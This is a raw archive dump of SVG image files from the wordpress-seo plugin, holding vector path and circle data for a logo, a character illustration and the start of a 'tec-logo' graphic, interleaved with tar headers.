138.824005 17.896 L 133.272003 17.896 C 133.35733 18.632004 133.624008 19.138666 134.072006 19.416 C 134.520004 19.693335 135.202667 19.832001 136.12001 19.832001 C 136.504013 19.832001 136.898666 19.794666 137.304001 19.719999 C 137.709335 19.645332 138.06134 19.549334 138.360001 19.431999 L 138.360001 20.712 C 138.018661 20.861334 137.626678 20.973333 137.184006 21.048 C 136.741333 21.122667 136.269333 21.16 135.768005 21.16 Z M 133.272003 16.759998 L 137.28801 16.759998 L 137.28801 16.231998 C 137.28801 15.709332 137.144012 15.301334 136.856003 15.007999 C 136.568008 14.714664 136.082672 14.568001 135.400009 14.568001 C 134.58934 14.568001 134.032013 14.743999 133.727997 15.096001 C 133.423996 15.448002 133.272003 16.002663 133.272003 16.759998 Z M 127.127998 21.16 C 125.794662 21.16 124.722672 20.989334 123.912003 20.648001 L 123.912003 19.112 C 124.370667 19.282667 124.863998 19.421333 125.391998 19.528 C 125.920006 19.634666 126.445328 19.688 126.968002 19.688 C 127.789337 19.688 128.405334 19.592001 128.81601 19.4 C 129.226669 19.207998 129.432007 18.824001 129.432007 18.248001 C 129.432007 17.896 129.346664 17.613335 129.17601 17.400002 C 129.005341 17.186665 128.722672 17.002666 128.328003 16.848 C 127.933334 16.693333 127.389336 16.530666 126.695999 16.360001 C 125.586662 16.071999 124.807999 15.706669 124.360001 15.264 C 123.911995 14.821331 123.688004 14.21067 123.688004 13.431999 C 123.688004 12.52533 124.018661 11.816002 124.68 11.304001 C 125.341339 10.791996 126.327995 10.535999 127.639999 10.535999 C 128.237335 10.535999 128.800003 10.578667 129.328003 10.664001 C 129.856003 10.749332 130.269333 10.845333 130.568008 10.952 L 130.568008 12.487999 C 129.757339 12.178665 128.861343 12.023998 127.879997 12.023998 C 127.112 12.023998 126.514671 12.125332 126.087997 12.327999 C 125.661331 12.530666 125.447998 12.898663 125.447998 13.431999 C 125.447998 13.741333 125.522667 13.992001 125.671997 14.183998 C 125.821335 14.375999 126.080002 14.541332 126.447998 14.68 C 126.816002 14.818668 127.325333 14.973331 127.975998 15.144001 C 128.81868 15.357334 129.472 15.610664 129.936005 15.903999 C 130.400009 16.197334 130.725342 16.538666 130.912003 16.928001 C 131.098679 17.317337 131.192001 17.757332 131.192001 18.248001 C 131.192001 19.154671 130.856003 19.866665 130.184006 20.384001 C 129.511993 20.901337 128.493347 21.16 127.127998 21.16 Z"/>
    <path id="Podcasting" fill="#000000" fill-rule="evenodd" stroke="none" d="M 206.400391 38.816406 C 205.835068 38.816406 205.268463 38.782227 204.703125 38.712891 C 204.137787 38.643555 203.65834 38.539059 203.263672 38.400391 L 203.263672 37.056641 C 203.690338 37.195309 204.181671 37.302284 204.736328 37.376953 C 205.291 37.451622 205.81897 37.488281 206.320313 37.488281 C 207.088303 37.488281 207.647995 37.44471 208 37.359375 C 208.352005 37.27404 208.527344 37.081871 208.527344 36.783203 C 208.527344 36.5592 208.442154 36.403168 208.271484 36.3125 C 208.100815 36.221832 207.776871 36.175781 207.296875 36.175781 L 205.248047 36.175781 C 203.87204 36.175781 203.183594 35.691376 203.183594 34.720703 C 203.183594 34.411369 203.273743 34.122135 203.455078 33.855469 C 203.636414 33.588799 203.925644 33.386715 204.320313 33.248047 C 203.882965 33.034714 203.559555 32.740524 203.351563 32.367188 C 203.143555 31.993853 203.039063 31.546106 203.039063 31.023438 C 203.039063 30.052767 203.330765 29.349443 203.912109 28.912109 C 204.493439 28.474773 205.36467 28.255859 206.527344 28.255859 C 206.772675 28.255859 207.030197 28.275166 207.296875 28.3125 C 207.563538 28.349833 207.770584 28.384016 207.919922 28.416016 L 210.703125 28.416016 L 210.65625 29.552734 L 209.376953 29.552734 C 209.57962 29.723402 209.72821 29.935406 209.824219 30.191406 C 209.920212 30.447409 209.96875 30.72477 209.96875 31.023438 C 209.96875 31.834108 209.723099 32.471542 209.232422 32.935547 C 208.74176 33.399548 207.999817 33.632813 207.007813 33.632813 C 206.837143 33.632813 206.679169 33.623421 206.535156 33.607422 C 206.391159 33.591423 206.235123 33.574066 206.064453 33.552734 C 205.744461 33.584732 205.455215 33.669926 205.199219 33.808594 C 204.943222 33.947258 204.816406 34.132519 204.816406 34.367188 C 204.816406 34.527187 204.879822 34.643555 205.007813 34.712891 C 205.135818 34.782227 205.349777 34.816406 205.648438 34.816406 L 207.775391 34.816406 C 208.53273 34.816406 209.116669 34.979355 209.527344 35.304688 C 209.938019 35.630024 210.144531 36.102036 210.144531 36.720703 C 210.144531 37.467373 209.821121 38.002789 209.175781 38.328125 C 208.530457 38.653458 207.605743 38.816406 206.400391 38.816406 Z M 182.960938 36.160156 C 182.438263 36.160156 181.939514 36.123497 181.464844 36.048828 C 180.990173 35.974159 180.596451 35.882057 180.287109 35.775391 L 180.287109 34.304688 C 180.64978 34.443356 181.050934 34.548378 181.488281 34.623047 C 181.925613 34.697716 182.34166 34.736328 182.736328 34.736328 C 183.333679 34.736328 183.759613 34.682838 184.015625 34.576172 C 184.271622 34.469505 184.400391 34.260506 184.400391 33.951172 C 184.400391 33.727173 184.322632 33.551826 184.167969 33.423828 C 184.013306 33.29583 183.78447 33.178932 183.480469 33.072266 C 183.176468 32.965599 182.789642 32.836834 182.320313 32.6875 C 181.872299 32.538166 181.483017 32.375221 181.152344 32.199219 C 180.821686 32.023216 180.566101 31.796865 180.384766 31.519531 C 180.20343 31.242195 180.111328 30.879644 180.111328 30.431641 C 180.111328 29.738304 180.361954 29.202888 180.863281 28.824219 C 181.364624 28.445551 182.169952 28.255859 183.279297 28.255859 C 183.716629 28.255859 184.132675 28.287563 184.527344 28.351563 C 184.922012 28.415564 185.257828 28.495798 185.535156 28.591797 L 185.535156 30.048828 C 185.236496 29.931494 184.910065 29.839392 184.552734 29.775391 C 184.195404 29.711391 183.862061 29.679688 183.552734 29.679688 C 182.998062 29.679688 182.579544 29.728218 182.296875 29.824219 C 182.014206 29.920219 181.871094 30.112391 181.871094 30.400391 C 181.871094 30.699059 182.019165 30.908583 182.3125 31.03125 C 182.605835 31.153917 183.07785 31.321823 183.728516 31.535156 C 184.325851 31.716492 184.800354 31.908661 185.152344 32.111328 C 185.504349 32.313995 185.757446 32.557175 185.912109 32.839844 C 186.066772 33.122513 186.144531 33.487541 186.144531 33.935547 C 186.144531 34.682217 185.872131 35.239418 185.328125 35.607422 C 184.784119 35.975426 183.995605 36.160156 182.960938 36.160156 Z M 189.552734 36.160156 C 188.742065 36.160156 188.136337 35.943722 187.736328 35.511719 C 187.336334 35.079716 187.136719 34.49081 187.136719 33.744141 L 187.136719 29.775391 L 186.015625 29.775391 L 186.015625 28.416016 L 187.136719 28.416016 L 187.136719 26.671875 L 188.863281 26.144531 L 188.863281 28.416016 L 190.880859 28.416016 L 190.767578 29.775391 L 188.863281 29.775391 L 188.863281 33.648438 C 188.863281 34.085773 188.965302 34.392357 189.167969 34.568359 C 189.370636 34.744362 189.701477 34.832031 190.160156 34.832031 C 190.448151 34.832031 190.752258 34.778542 191.072266 34.671875 L 191.072266 35.904297 C 190.65625 36.074966 190.15007 36.160156 189.552734 36.160156 Z M 192.224609 36 L 192.224609 29.744141 L 191.072266 29.744141 L 191.232422 28.416016 L 193.96875 28.416016 L 193.96875 36 L 192.224609 36 Z M 195.039063 36 L 195.039063 28.416016 L 196.640625 28.416016 L 196.720703 29.216797 C 197.062042 28.950129 197.468689 28.721825 197.943359 28.535156 C 198.41803 28.34849 198.943527 28.255859 199.519531 28.255859 C 200.50087 28.255859 201.216064 28.48469 201.664063 28.943359 C 202.112061 29.402029 202.335938 30.117222 202.335938 31.087891 L 202.335938 36 L 200.607422 36 L 200.607422 31.167969 C 200.607422 30.581301 200.488052 30.170214 200.248047 29.935547 C 200.008041 29.700878 199.557831 29.583984 198.896484 29.583984 C 198.501816 29.583984 198.115005 29.664219 197.736328 29.824219 C 197.357666 29.984221 197.039215 30.191265 196.783203 30.447266 L 196.783203 36 L 195.039063 36 Z M 206.527344 32.527344 C 207.220688 32.527344 207.704559 32.410446 207.976563 32.175781 C 208.248566 31.941113 208.384766 31.541899 208.384766 30.976563 C 208.384766 30.411226 208.248566 30.000143 207.976563 29.744141 C 207.704559 29.48814 207.220688 29.359375 206.527344 29.359375 C 205.876678 29.359375 205.402176 29.483181 205.103516 29.728516 C 204.80484 29.97385 204.65625 30.389893 204.65625 30.976563 C 204.65625 31.520565 204.797409 31.914822 205.080078 32.160156 C 205.362747 32.405491 205.844681 32.527344 206.527344 32.527344 Z M 192.080078 26.832031 L 192.080078 25.392578 L 193.984375 25.392578 L 193.984375 26.832031 L 192.080078 26.832031 Z M 175.007996 36.16 C 174.528 36.16 174.082672 36.074669 173.671997 35.903999 C 173.261337 35.733334 172.933334 35.47467 172.688004 35.127998 C 172.442673 34.781334 172.320007 34.352001 172.320007 33.84 C 172.320007 33.114662 172.567993 32.53067 173.063995 32.087997 C 173.559998 31.64533 174.325333 31.424 175.360001 31.424 L 177.792007 31.424 L 177.792007 31.087999 C 177.792007 30.725332 177.736008 30.437334 177.623993 30.224001 C 177.511993 30.010666 177.309341 29.856001 177.016006 29.76 C 176.722672 29.664 176.293335 29.615999 175.727997 29.615999 C 174.832001 29.615999 173.994675 29.749332 173.216003 30.016001 L 173.216003 28.719999 C 173.557343 28.581333 173.973328 28.469334 174.464005 28.384001 C 174.954666 28.298666 175.482666 28.256001 176.048004 28.256001 C 177.157333 28.256001 178.00267 28.479998 178.584 28.927999 C 179.165329 29.376001 179.455994 30.106661 179.455994 31.120001 L 179.455994 36 L 177.968002 36 L 177.856003 35.232002 C 177.546661 35.53067 177.165329 35.759998 176.712006 35.919998 C 176.258667 36.080002 175.690674 36.16 175.007996 36.16 Z M 175.472 34.911999 C 175.994675 34.911999 176.450668 34.824001 176.839996 34.647999 C 177.22934 34.472 177.546661 34.234669 177.792007 33.936001 L 177.792007 32.608002 L 175.391998 32.608002 C 174.880005 32.608002 174.509338 32.706665 174.279999 32.903999 C 174.050659 33.101334 173.936005 33.402664 173.936005 33.807999 C 173.936005 34.202667 174.069336 34.485332 174.335999 34.655998 C 174.602661 34.826668 174.981339 34.911999 175.472 34.911999 Z M 169.744003 36.16 C 168.41066 36.16 167.402664 35.821335 166.720001 35.144001 C 166.037323 34.466663 165.695999 33.488007 165.695999 32.208 C 165.695999 30.87466 166.071991 29.882669 166.824005 29.232 C 167.576004 28.581329 168.581329 28.256001 169.839996 28.256001 C 170.362671 28.256001 170.802658 28.293333 171.160004 28.368 C 171.517334 28.442667 171.861328 28.559999 172.192001 28.719999 L 172.192001 30.016001 C 171.637329 29.738665 170.965332 29.6 170.175995 29.6 C 169.301331 29.6 168.629333 29.794664 168.160004 30.184 C 167.690659 30.573336 167.455994 31.247995 167.455994 32.208 C 167.455994 33.11467 167.664001 33.778664 168.080002 34.200001 C 168.496002 34.621334 169.18399 34.832001 170.143997 34.832001 C 170.901337 34.832001 171.589325 34.688004 172.207993 34.400002 L 172.207993 35.728001 C 171.856003 35.866669 171.479996 35.973335 171.080002 36.048 C 170.679993 36.122665 170.234665 36.16 169.744003 36.16 Z M 160.960007 36.16 C 160.277328 36.16 159.674667 36.042667 159.151993 35.807999 C 158.629333 35.573334 158.223999 35.184002 157.936005 34.639999 C 157.647995 34.095997 157.503998 33.365337 157.503998 32.447998 C 157.503998 31.541328 157.658661 30.776003 157.968002 30.152 C 158.277328 29.527996 158.706665 29.056002 159.255997 28.736 C 159.805344 28.415998 160.426666 28.256001 161.119995 28.256001 C 161.578674 28.256001 161.986664 28.309332 162.343994 28.416 C 162.70134 28.522667 163.045334 28.688 163.376007 28.912001 L 163.376007 25.216 L 165.119995 25.216 L 165.119995 36 L 163.632004 36 L 163.520004 35.248001 C 163.178665 35.557335 162.805328 35.786667 162.399994 35.936001 C 161.994659 36.085335 161.514664 36.16 160.960007 36.16 Z M 161.423996 34.848 C 162.202667 34.848 162.853333 34.581337 163.376007 34.048 L 163.376007 30.256001 C 162.874664 29.807999 162.245331 29.584 161.488007 29.584 C 160.751999 29.584 160.197342 29.82933 159.824005 30.32 C 159.450668 30.810669 159.264008 31.52533 159.264008 32.464001 C 159.264008 33.37067 159.437332 33.994667 159.783997 34.335999 C 160.130661 34.677334 160.677322 34.848 161.423996 34.848 Z M 153.119995 36.16 C 151.754654 36.16 150.754669 35.818672 150.119995 35.136002 C 149.485336 34.453331 149.167999 33.477341 149.167999 32.208 C 149.167999 30.93866 149.487991 29.962669 150.128006 29.280001 C 150.768005 28.59733 151.76532 28.256001 153.119995 28.256001 C 154.485336 28.256001 155.487991 28.59733 156.128006 29.280001 C 156.768005 29.962669 157.087997 30.93866 157.087997 32.208 C 157.087997 33.477341 156.770676 34.453331 156.136002 35.136002 C 155.501328 35.818672 154.496002 36.16 153.119995 36.16 Z M 153.119995 34.688 C 153.919998 34.688 154.487991 34.493336 154.824005 34.104 C 155.160004 33.714664 155.328003 33.082672 155.328003 32.208 C 155.328003 31.333328 155.160004 30.704002 154.824005 30.32 C 154.487991 29.935999 153.919998 29.743999 153.119995 29.743999 C 152.330658 29.743999 151.768005 29.935999 151.432007 30.32 C 151.095993 30.704002 150.927994 31.333328 150.927994 32.208 C 150.927994 33.082672 151.095993 33.714664 151.432007 34.104 C 151.768005 34.493336 152.330658 34.688 153.119995 34.688 Z M 141.007996 36 L 141.007996 25.695999 L 145.600006 25.695999 C 146.389343 25.695999 147.039993 25.845331 147.552002 26.143999 C 148.063995 26.442669 148.442673 26.850664 148.688004 27.368 C 148.933334 27.885336 149.056 28.474663 149.056 29.136 C 149.056 30.160006 148.738663 30.981331 148.104004 31.6 C 147.46933 32.21867 146.613342 32.528 145.535995 32.528 L 142.751999 32.528 L 142.751999 36 Z M 142.751999 31.152 L 145.216003 31.152 C 145.909332 31.152 146.431992 30.970669 146.783997 30.608 C 147.136002 30.245331 147.311996 29.754669 147.311996 29.136 C 147.311996 28.474663 147.143997 27.962669 146.807999 27.6 C 146.472 27.237331 145.968002 27.056 145.296005 27.056 L 142.751999 27.056 Z"/>
</svg>
wordpress-seo/packages/js/images/succes_marieke_bubble_optm.svg000064400000016451147510273070021111 0ustar00<svg role="img" aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 360"><circle cx="226" cy="211" r="149" fill="#f0ecf0"/><path d="M173.53,189.38s-35.47-5.3-41.78-11c-9.39-24.93-29.61-48-35.47-66.21-.71-2.24,3.72-11.39,3.53-15.41s-5.34-11.64-5.23-14-.09-15.27-.09-15.27l-4.75-.72s-5.13,6.07-3.56,9.87c-1.73-4.19,4.3,7.93.5,9.35,0,0-6-5.94-11.76-8.27s-19.57-3.65-19.57-3.65L43.19,73l-4.42.6L31,69.7l-2.85,5.12,7.53,5.29L40.86,92,58.05,102.2l10.2,10.56,9.86,3.56s26.49,79.67,45,92c17,11.33,37.23,15.92,37.23,15.92Z" fill="#fbd2a6"/><path d="M270.52,345.13c2.76-14.59,15.94-35.73,30.24-54.58,16.22-21.39,14-79.66-33.19-91.46-17.3-4.32-52.25-1-59.85-3.41C186.54,189,170,187,168,190.17c-5,10.51-7.73,27.81-5.51,36.26,1.18,4.73,3.54,5.91,20.49,13.4-5.12,15-16.35,26.3-22.86,37s7.88,27.2,7.1,33.51c-.48,3.8-4.26,21.13-7.18,34.25a149.47,149.47,0,0,0,110.3,8.66A25.66,25.66,0,0,1,270.52,345.13Z" fill="#a4286a"/><path d="M206.76,66.43c-5,14.4-1.42,25.67-3.93,40.74-10,60.34-24.08,43.92-31.44,93.6,7.24-14.19,14.32-15.82,20.63-23.11-.83,3.09-10.25,13.75-8.05,34.81,9.85-8.51,6.35-8.75,11.86-8.54.36,3.25,3.53,3.22-3.59,10.53,2.52.69,17.42-14.32,20.16-12.66s0,5.72-6,7.76c2.15,2.2,30.47-3.87,43.81-14.71,4.93-4,10-13.16,13.38-18.2,7.17-10.62,12.38-24.77,17.71-36.6,8.94-19.87,15.09-39.34,16.11-61.31C297.94,68.3,294,60.3,293,49.88,290.43,22.08,225.37,12.62,206.76,66.43Z" fill="#9a5815"/><path d="M277.74,179.06c.62-.79,1.24-1.59,1.84-2.39C278.73,179.26,278.06,180.4,277.74,179.06Z" fill="#efb17c"/><path d="M216.1,206.72c3.69-5.42,8.28-3.35,15.57-8.28,3.76-3.06,1.57-9.46,1.77-11.82,18.25,4.56,37.38-1.18,49.07-16,.62,5.16-2.77,22.27-.2,27,4.73,8.67,13.4,18.92,13.4,18.92-35.47-2.76-63.45,39-89.86,44.54C211.37,232.34,203.49,225.24,216.1,206.72Z" fill="#fbd2a6"/><path d="M235.21,167.9l53.21-25.23s-3.65,24-6.5,32.72C217.87,238.05,235.45,168.06,235.21,167.9Z" fill="#f6b488"/><path d="M277.68,178.82v0Z" fill="#efb17c"/><path d="M226.86,50.64C215,59.31,206.37,93.21,204,95.57c-19.46,19.47-3.59,41.39-3.94,51.24-.2,5.52-4.14,25.42,5.72,29.36,22.22,8.89,60-3.48,67.19-12.61,13.28-16.75,40.89-94.78,17.74-108.19C282.79,50.79,247.93,35.19,226.86,50.64Z" fill="#fbd2a6"/><path d="M243.69,143.66c-10.7-6.16-8.56-6.73-19.76-12.71-3.86-2.07-3.94.64-6.32,0-2.91-.79-1.39-2.74-5.37-3.48-6.52-1.21-3.67,3.63-3.15,6,1.32,6.15-8.17,17.3,3.26,21.42C225,159.44,233.73,145.48,243.69,143.66Z" fill="#e5766c"/><path d="M240.68,143.9c-11.49-5.53-11.65-8.17-24.64-11.69-8.6-2.32-5.53,1-5.69,4.42-.2,4.16-1.26,9.87,4.9,12.66C224.25,153.38,233.41,143.27,240.68,143.9Z" fill="#fff"/><path d="M241.38,103c-.16,1.26-.06,4.9,5.46,8.25,11.43-4.73,16.36-2.56,17-3.33,1.48-1.76-2-8.87-7.88-9.85C250.38,97.13,241.82,99.31,241.38,103Z" fill="#fff"/><path d="M263.53,108.19c-4.32-4.33-6.85-6.24-12.26-8.21-2.77-1-6.18.18-8.65,1.67a3.65,3.65,0,0,0-1.24,1.23l-.12,0a3.73,3.73,0,0,1,1-1.52,12.53,12.53,0,0,1,11.93-3c4.73,1,9.43,4.63,9.42,9.82Z" fill="#000001"/><circle cx="254.13" cy="104.05" r="4.19" fill="#000001"/><path d="M225.26,99.22c-.29,1-6.6,3.45-10.92,1.48-1.15-3.24-5-6.43-5.25-6.71-.5-2.86,5.55-8,10.06-6.3A10.21,10.21,0,0,1,225.26,99.22Z" fill="#fff"/><path d="M209.29,94.21c-.19-2.34,1.84-4.1,3.65-5.2,7-3.87,13.18,3,12.43,10h-.12c-.14-4-2.38-8.44-6.47-9.11a3.19,3.19,0,0,0-2.42.31c-1.37.85-2.38,2-3.89,2.56-1,.45-1.92.42-3,1.4l-.22,0Z" fill="#000001"/><circle cx="219.55" cy="95.28" r="4" fill="#000001"/><path d="M218.66,120.27a27.32,27.32,0,0,0,4.54,3.45c-2.29-.72-4.28-.69-6.32-2.27-2.53-2-3.39-5.16-.73-7.72,10.24-9.82,12.56-13.82,14.77-24.42-1,12.37-6,17.77-10.63,23.18C217.76,115.46,215.61,117.55,218.66,120.27Z" fill="#efb17c"/><path d="M231.22,69.91c-.67-3.41-8.78-2.83-11.06-1.93-3.48,1.39-6.08,5.22-7.13,8.53,2.9-4.3,6.74-8.12,12.46-6,1.16.42,3.18,2.35,4.48,1.85S231,70.16,231.22,69.91Z" fill="#a57c52"/><path d="M263.38,78.47c-2.75-1.66-12.24-5.08-12.18.82,2.56.24,5-.19,7.64.95C270.06,85,271.61,97.85,271.69,98.1c.2-.53.1,1.26.23.7C271.9,99,272.87,86.68,263.38,78.47Z" fill="#a57c52"/><path d="M53.43,250.73c6.29,0-.6-.17,7.34,0,1.89.05-2.38-.7,0-.69,4.54-4.2,12.48-.74,20.6-2.45,4.55.35,3.93,1.35,5.59,4.19,4.89,8.38,4.78,14.21,14,19.56,16.42,8.38,66,12.92,88.49,18.86,5.52.83,42.64-20.15,61-23.75,6.51,10.74,11.46,28.68,8.39,34.93-6.54,13.3-57.07,25.4-75.91,25.15C156.47,326.18,94,294,92.2,293c-.94-.57.7-.7-7.68,0s-10.15.72-17.47-1.4c-3-.87-4.61-1.33-6.33-3.54-2,.22-3.39.2-4.78-1-3.15-2.74-4.84-6.61-2.73-10.06,0,0-.08,0-.12,0-3.35-2.48-6.54-7.69-3.08-11.72,1-1.18,6.06-1.94,7.77-2.28-1.58-.29-6.37.19-7.49-.72C47.23,259.78,45.33,250.73,53.43,250.73Z" fill="#fbd2a6"/><path d="M303.22,237.52c-9.87-11.88-41.59,8.19-47.8,12.34s-14.89,17.95-14.89,17.95c6,9.43,8.36,31,5.65,46.34l30.51-3s18-15.62,22.59-28.7,6.3-42.54,6.3-42.54" fill="#a4286a"/><path d="M278.63,31.67c-6.08,0-22.91,4.07-22.93,12.91,0,11,47.9,38.38,16.14,85.85,10.21-.79,10.79-8.12,14.92-14.93-3.66,77-49.38,93.58-40.51,142.25,7.68-25.81,20.3-11.62,38.13-33.84,3.45,4.88,9,18.28-9.46,33.78,50-31.26,57.31-56.6,51.92-95C319.93,113.53,348.7,42,278.63,31.67Z" fill="#cb9833"/><path d="M283.64,126.83c-2.42,9.67-8,15.76-1.48,16.46A21.26,21.26,0,0,0,302,132.6c5.17-8.52,3.93-16.44-2.46-18S286.06,117.16,283.64,126.83Z" fill="#fbd2a6"/><path d="M38,73.45c1.92,2,4.25,9.21,6.32,10.91,2.25,1.85,5.71,2.12,8.1,4.45,3.66-2,6-8.72,10-9.31C59.83,80.81,58,83,55.49,84.38c-1.42.8-3,1.31-4.38,2.25-2.16-1.46-4.27-1.77-6.26-3.38C42.33,81.23,39.54,75.25,38,73.45Z" fill="#efb17c"/><path d="M39,74.4c4.83,1.1,12.52,6.44,15.89,10C51.67,83.06,40.16,78.25,39,74.4Z" fill="#efb17c"/><path d="M39.62,72.9c6.71-.79,18,1.54,23.29,5.9-3.85-.2-5.42-1.48-9-2.94C49.83,74.17,45.08,73.83,39.62,72.9Z" fill="#efb17c"/><path d="M86.05,87.48C82.33,86.16,75.53,86.35,72.83,91c2-1.16,1.84-2.11,4.18-1.72-3.81-4.15,8.16-.74,11.6-.24" fill="#efb17c"/><path d="M85.83,102.19c.56-3.29-8-7.81-10.58-9.17C69,89.73,63.09,94.38,55.92,88.49c5.94,6.1,14.23,2.5,19.55,5.76,3.06,1.88,8.65,6.09,9.35,9.38C84.59,103.23,86.11,102.19,85.83,102.19Z" fill="#efb17c"/><circle cx="38.13" cy="30.03" r="3.14" fill="#b89ac8"/><circle cx="60.26" cy="39.96" r="3.14" fill="#e31e0c"/><circle cx="50.29" cy="25.63" r="3.14" fill="#3baa45"/><circle cx="22.19" cy="19.21" r="3.14" fill="#2ca9e1"/><circle cx="22.19" cy="30.03" r="3.14" fill="#e31e0c"/><circle cx="26.86" cy="8.28" r="3.14" fill="#3baa45"/><circle cx="49.32" cy="39.99" r="3.14" fill="#e31e0c"/><circle cx="63.86" cy="59.52" r="3.14" fill="#f8ad39"/><circle cx="50.88" cy="50.72" r="3.14" fill="#3baa45"/><circle cx="63.47" cy="76.17" r="3.14" fill="#e31e0c"/><circle cx="38.34" cy="14.83" r="3.14" fill="#2ca9e1"/><circle cx="44.44" cy="5.92" r="3.14" fill="#f8ad39"/><circle cx="57.42" cy="10.24" r="3.14" fill="#e31e0c"/><circle cx="66.81" cy="12.4" r="3.14" fill="#2ca9e1"/><circle cx="77.95" cy="5.14" r="3.14" fill="#b89ac8"/><circle cx="77.95" cy="30.34" r="3.14" fill="#e31e0c"/><circle cx="80.97" cy="16.55" r="3.14" fill="#f8ad39"/><circle cx="62.96" cy="27.27" r="3.14" fill="#3baa45"/><circle cx="75.36" cy="48.67" r="3.14" fill="#2ca9e1"/><circle cx="76.11" cy="65.31" r="3.14" fill="#3baa45"/><path d="M78.58,178.43C54.36,167.26,32,198.93,5,198.93c19.56,20.49,63.53,1.52,69,15.5C75.48,200.42,78.11,183.53,78.58,178.43Z" fill="#71b026"/><path d="M67.75,251.08c0-4.65,10.13-72.65,10.13-72.65h2.8l-9.09,72.3Z" fill="#074a67"/><ellipse cx="255.38" cy="103.18" rx="1.84" ry="1.77" fill="#fff"/><ellipse cx="221.24" cy="94.75" rx="1.84" ry="1.77" fill="#fff"/></svg>wordpress-seo/packages/js/images/tec-logo.svg000064400000035626147510273070015273 0ustar00<svg width="280" height="50" viewBox="0 0 280 119" fill="none" xmlns="http://www.w3.org/2000/svg">
<path fill-rule="evenodd" clip-rule="evenodd" d="M143.062 49.1982C140.605 50.1949 138.331 50.7325 136.678 50.6435C134.537 50.5242 133.623 49.5798 133.62 49.2246C133.618 48.9718 134.416 48.1796 136.881 48.0004C137.267 47.9729 137.675 47.9553 138.095 47.9553C139.779 47.9553 141.653 48.2324 143.062 49.1982M147.657 70.9116C138.649 73.3963 129.13 71.1045 123.402 65.0681C119.349 60.7968 117.99 55.4513 119.673 50.4027C123.058 40.245 139.281 34.1481 149.649 34.1481C149.761 34.1481 149.872 34.1486 149.982 34.1503C153.845 34.1998 156.521 35.1337 156.965 36.5888C157.213 37.403 156.625 38.8284 155.392 40.4006C153.217 43.175 149.911 45.6894 146.548 47.5337C144.416 45.1947 140.996 44.1304 136.623 44.4454C131.754 44.7989 130.038 47.1616 130.055 49.2549C130.075 51.5373 132.288 53.9698 136.48 54.2029C139.018 54.3414 142.051 53.5597 145.096 52.2272C145.543 53.9808 145.405 56.2814 144.673 59.0245C144.42 59.975 144.985 60.9523 145.936 61.2058C146.886 61.4592 147.863 60.8941 148.117 59.9425C149.111 56.2154 149.185 53.0892 148.342 50.6055C152.318 48.3742 155.993 45.4102 158.197 42.6005C160.265 39.9635 160.997 37.591 160.374 35.5482C159.922 34.0651 158.857 32.8887 157.252 32.0542C157.374 18.6609 159.748 9.40965 161.886 9.39701H161.899C162.213 9.39701 162.638 9.46737 163.158 9.98466C164.895 11.7108 166.964 17.3773 166.964 34.5719C166.964 51.5379 165.512 65.9828 147.657 70.9116M130.651 31.3406C130.649 31.2961 130.655 31.2521 130.649 31.2071C130.641 31.1427 130.634 31.0746 130.625 31.0086C130.369 27.3513 130.808 24.4692 131.923 22.9234C132.477 22.1559 133.172 21.7448 134.111 21.6293C135.419 21.4716 136.483 21.8091 137.377 22.6677C139.108 24.3317 140.118 27.9296 140.022 31.8656C137.054 32.5979 134.015 33.6407 131.128 34.9831C130.901 33.7055 130.744 32.4885 130.651 31.3406M146.005 25.1305C146.662 24.4164 147.499 24.069 148.567 24.069C150.265 24.069 151.002 24.6242 151.41 25.042C152.385 26.0408 152.911 27.978 152.983 30.7992C152.07 30.6727 151.085 30.5991 150.028 30.5859C149.907 30.5842 149.787 30.5837 149.666 30.5837C148.057 30.5837 146.303 30.7233 144.473 30.9894C144.394 28.4041 144.934 26.2975 146.005 25.1305M165.672 7.45649C164.602 6.39334 163.297 5.83208 161.896 5.83208H161.864C157.168 5.86011 155.548 12.8668 154.737 18.1348C154.5 19.6806 154.316 21.2583 154.173 22.7854C154.103 22.7073 154.035 22.6265 153.961 22.5518C152.636 21.1934 150.82 20.5046 148.567 20.5046C146.504 20.5046 144.71 21.2698 143.38 22.7189C143.001 23.1323 142.675 23.6111 142.38 24.1245C141.792 22.5781 140.971 21.178 139.847 20.0978C138.179 18.4943 136.046 17.8 133.676 18.0913C131.766 18.3261 130.16 19.2749 129.032 20.8372C129.028 20.8443 129.024 20.852 129.019 20.8581C127.066 11.1171 123.353 -0.645256 116.874 0.0275989C115.279 0.195263 113.871 1.05337 112.8 2.50793C107.802 9.30245 110.147 29.5068 112.32 40.3736C112.49 41.2207 113.234 41.8073 114.066 41.8073C114.182 41.8073 114.3 41.7958 114.418 41.7721C115.383 41.5792 116.009 40.6402 115.816 39.6749C112.177 21.4793 112.989 8.26733 115.672 4.6205C116.302 3.76349 116.873 3.61176 117.247 3.57273C120.823 3.20057 125.229 15.6968 127.089 31.4687C127.238 33.4219 127.534 35.2508 127.819 36.6724C127.82 36.679 127.823 36.685 127.825 36.6916C122.469 39.7788 118.049 44.0001 116.291 49.2758C114.178 55.6135 115.828 62.2645 120.816 67.522C125.687 72.6542 132.873 75.4605 140.416 75.4605C143.13 75.46 145.891 75.0966 148.606 74.3473C168.852 68.7589 170.529 52.3437 170.529 34.5719C170.529 19.3667 168.985 10.751 165.672 7.45649" fill="#0F1031"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M16.2216 96.9075H0.343574C0.153921 96.9075 0 97.0614 0 97.251V99.9749C0 100.165 0.153921 100.318 0.343574 100.318H6.40697V117.896C6.40697 118.085 6.56144 118.24 6.75054 118.24H9.84546C10.0351 118.24 10.189 118.085 10.189 117.896V100.318H16.2216C16.4113 100.318 16.5652 100.165 16.5652 99.9749V97.251C16.5652 97.0614 16.4113 96.9075 16.2216 96.9075" fill="#0F1031"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M27.2181 102.231C25.4612 102.231 23.6224 102.964 22.2685 104.197V97.2508C22.2685 97.0617 22.1145 96.9073 21.9249 96.9073H19.1395C18.9498 96.9073 18.7959 97.0617 18.7959 97.2508V117.896C18.7959 118.086 18.9498 118.24 19.1395 118.24H21.9249C22.1145 118.24 22.2685 118.086 22.2685 117.896V107.332C23.0084 106.365 24.4563 105.395 26.0417 105.395C28.0356 105.395 28.886 106.255 28.886 108.27V117.896C28.886 118.086 29.0399 118.24 29.2296 118.24H32.0155C32.2046 118.24 32.3591 118.086 32.3591 117.896V107.341C32.3591 103.999 30.5813 102.231 27.2181 102.231" fill="#0F1031"/>
